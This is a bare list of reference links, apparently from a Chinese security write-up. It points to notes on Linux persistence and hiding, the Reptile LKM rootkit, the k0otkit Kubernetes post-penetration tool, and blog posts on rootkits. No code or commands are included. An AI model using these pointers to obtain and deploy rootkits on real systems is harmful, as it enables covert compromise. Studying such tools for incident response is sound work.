第3篇:Linux許可權維持--隱藏篇 · 應急響應實戰筆記 (bypass007.github.io)
f0rb1dd3n/Reptile: LKM Linux rootkit (github.com)
Metarget/k0otkit: k0otkit is a universal post-penetration technique which could be used in penetrations against Kubernetes clusters. (github.com)
https://www.sohu.com/a/153754894_354899
https://blog.csdn.net/fageweiketang/article/details/86665518
https://www.hacking8.com/MiscSecNotes/rookit.html